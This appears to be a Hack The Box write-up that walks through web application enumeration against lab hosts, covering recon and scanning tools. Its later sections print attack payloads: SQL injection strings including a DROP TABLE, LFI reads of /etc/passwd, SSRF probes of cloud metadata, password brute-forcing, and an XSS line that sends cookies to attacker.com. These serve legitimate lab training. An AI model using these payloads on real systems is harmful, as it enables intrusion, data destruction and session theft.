Hack The Box: Web Application Enumeration Methodology

Overview

Web applications are the entry point for most Hack The Box machines. This writeup documents my methodology for systematic web application enumeration and vulnerability discovery.

Phase 1: Passive Reconnaissance

Before touching the target, gather publicly available information.

Technology Detection

# Wappalyzer CLI
wappalyzer http://target.htb

# WhatWeb
whatweb -a 3 http://target.htb

# HTTP headers
curl -I http://target.htb

Information gathered:

Web server (Apache, Nginx, IIS)
Programming language (PHP, Python, Node.js)
Framework (Laravel, Django, Express)
CMS (WordPress, Drupal, Joomla)

Source Code Analysis

# View page source
curl http://target.htb

# Look for:
# - Comments with usernames/paths
# - JavaScript files
# - Hidden form fields
# - API endpoints

Phase 2: Active Enumeration

Directory Brute Forcing

Gobuster:

# Directory enumeration
gobuster dir -u http://target.htb -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

# With extensions based on technology
gobuster dir -u http://target.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,bak,old,txt -t 50

# Recursive scanning
gobuster dir -u http://target.htb -w wordlist.txt --no-error

Feroxbuster (recursive by default):

feroxbuster -u http://target.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php

FFuF (fast, flexible):

# Directory fuzzing
ffuf -u http://target.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt

# With extensions
ffuf -u http://target.htb/FUZZ -w wordlist.txt -e .php,.html,.txt,.bak

# Subdomain enumeration
ffuf -u http://target.htb -H "Host: FUZZ.target.htb" -w subdomains.txt -fs 0

Virtual Host Discovery

# Add to /etc/hosts
echo "10.10.10.XX target.htb" >> /etc/hosts

# Fuzz for subdomains
gobuster vhost -u http://target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Or with wfuzz
wfuzz -c -w subdomains.txt -H "Host: FUZZ.target.htb" --hc 404 http://target.htb

Robots.txt & Sitemap

curl http://target.htb/robots.txt
curl http://target.htb/sitemap.xml
curl http://target.htb/.well-known/security.txt

Phase 3: Vulnerability Scanning

Nikto

nikto -h http://target.htb -o nikto.txt

Common findings:

Missing security headers
Default files
Known vulnerabilities
Server information disclosure

Nuclei

# Run all templates
nuclei -u http://target.htb -t /path/to/nuclei-templates/

# Specific categories
nuclei -u http://target.htb -tags cve,exposure

# Technology-specific
nuclei -u http://target.htb -tags wordpress

Phase 4: Manual Testing with Burp Suite

Proxy Setup

Configure browser to use 127.0.0.1:8080
Add target to scope
Browse the application manually

Key Areas to Test

Area	What to Look For
Login forms	SQLi, brute force, default creds
Search functions	XSS, SQLi
File uploads	Unrestricted upload, path traversal
URL parameters	LFI, SQLi, IDOR
Cookies	Session fixation, insecure flags
APIs	Authentication bypass, mass assignment

Burp Intruder Examples

Username enumeration:

POST /login HTTP/1.1
Host: target.htb

username=§admin§&password=test

Payload: Common usernames list Analyze response length/time differences.

Password brute force:

POST /login HTTP/1.1
Host: target.htb

username=admin&password=§password§

Payload: rockyou.txt (first 10000)

Phase 5: Common Vulnerability Checks

SQL Injection

# SQLMap basic
sqlmap -u "http://target.htb/page?id=1" --dbs

# POST data
sqlmap -u "http://target.htb/login" --data="username=admin&password=test" -p username

# With cookies
sqlmap -u "http://target.htb/dashboard?id=1" --cookie="session=abc123"

Manual tests:

' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
admin'--
1; DROP TABLE users--

Local File Inclusion (LFI)

# Basic LFI
http://target.htb/page?file=../../../etc/passwd

# Null byte (PHP &lt; 5.3)
http://target.htb/page?file=../../../etc/passwd%00

# PHP filter
http://target.htb/page?file=php://filter/convert.base64-encode/resource=index.php

# Log poisoning
http://target.htb/page?file=/var/log/apache2/access.log

Server-Side Request Forgery (SSRF)

# Internal service enumeration
http://target.htb/fetch?url=http://127.0.0.1:22
http://target.htb/fetch?url=http://127.0.0.1:3306
http://target.htb/fetch?url=http://localhost/admin

# Cloud metadata
http://target.htb/fetch?url=http://169.254.169.254/latest/meta-data/

Cross-Site Scripting (XSS)

<!-- Basic -->
<script>alert('XSS')</script>

<!-- Event handlers -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

<!-- Cookie stealing -->
<script>new Image().src="http://attacker.com/steal?c="+document.cookie;</script>

Phase 6: CMS-Specific Enumeration

WordPress

# WPScan
wpscan --url http://target.htb -e ap,at,u --api-token YOUR_TOKEN

# Enumerate plugins
wpscan --url http://target.htb -e p

# Enumerate users
wpscan --url http://target.htb -e u

# Password attack
wpscan --url http://target.htb -U admin -P /usr/share/wordlists/rockyou.txt

Drupal

# Droopescan
droopescan scan drupal -u http://target.htb

# Check for Drupalgeddon
curl http://target.htb/CHANGELOG.txt

Joomla

# Joomscan
joomscan -u http://target.htb

# Manual checks
curl http://target.htb/administrator/manifests/files/joomla.xml

Methodology Checklist

## Web Enumeration Checklist

### Initial
- [ ] Add hostname to /etc/hosts
- [ ] Technology fingerprinting (Wappalyzer, WhatWeb)
- [ ] View source code
- [ ] Check robots.txt, sitemap.xml

### Directory Enumeration
- [ ] Gobuster/Feroxbuster with common.txt
- [ ] Retry with raft-medium-directories.txt
- [ ] Try technology-specific extensions (.php, .aspx, .jsp)
- [ ] Check for backup files (.bak, .old, ~)
- [ ] Virtual host enumeration

### Scanning
- [ ] Nikto scan
- [ ] Nuclei templates
- [ ] CMS-specific scanner if applicable

### Manual Testing
- [ ] Browse entire application manually
- [ ] Test all input fields
- [ ] Check authentication mechanisms
- [ ] Analyze cookies and sessions
- [ ] Look for hidden parameters

### Vulnerability Testing
- [ ] SQL Injection on all parameters
- [ ] XSS on all input fields
- [ ] LFI/RFI on file parameters
- [ ] SSRF on URL parameters
- [ ] IDOR on ID parameters
- [ ] Upload bypass if file upload exists

Tools Summary

Tool	Purpose
Gobuster	Directory/vhost enumeration
FFuF	Fast fuzzing
Feroxbuster	Recursive directory scanning
WPScan	WordPress enumeration
Nikto	Vulnerability scanning
Nuclei	Template-based scanning
Burp Suite	Manual testing proxy
SQLMap	SQL injection automation

Key Takeaways

Be systematic — Follow a consistent methodology
Enumerate thoroughly — Most CTFs require finding hidden paths
Note everything — Document usernames, paths, technologies
Try multiple wordlists — Different lists find different things
Manual testing is crucial — Automated tools miss context-dependent issues

The entry point is often in plain sight — thorough enumeration reveals it.